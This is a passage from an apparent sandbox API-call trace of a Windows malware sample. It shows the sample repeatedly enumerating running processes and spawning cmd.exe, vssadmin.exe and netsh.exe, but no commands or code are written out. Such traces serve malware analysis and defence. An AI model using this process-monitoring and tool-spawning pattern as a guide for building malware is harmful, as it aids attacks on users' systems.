th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0254.261] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.261] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0254.262] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.262] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0254.263] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0254.263] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0254.263] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0254.264] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.264] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.265] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.265] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.265] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.266] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0254.266] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.266] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.267] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.267] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.267] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0254.268] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0254.268] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.268] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0254.269] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0254.269] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0254.269] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0254.270] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0254.270] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0254.270] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0254.271] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0254.271] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0254.271] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.272] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.272] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0254.272] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0254.272] CloseHandle (hObject=0x1c4) returned 1 [0254.273] Sleep (dwMilliseconds=0x1f4) [0255.224] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0255.226] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.226] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.227] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.227] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.227] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.228] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.228] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.228] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.229] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.229] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0255.229] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.230] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.230] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.230] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.231] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.231] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.231] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.232] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.232] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.232] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.233] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.233] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0255.233] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.234] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0255.234] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0255.234] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0255.235] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0255.235] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0255.235] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0255.236] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0255.236] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0255.236] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0255.237] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.237] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.237] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0255.238] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0255.238] CloseHandle (hObject=0x100) returned 1 [0255.238] Sleep (dwMilliseconds=0x1f4) [0255.881] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0255.884] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.884] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.884] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.885] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.885] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.885] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.886] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.886] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.886] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.887] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0255.887] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.888] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.888] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.888] 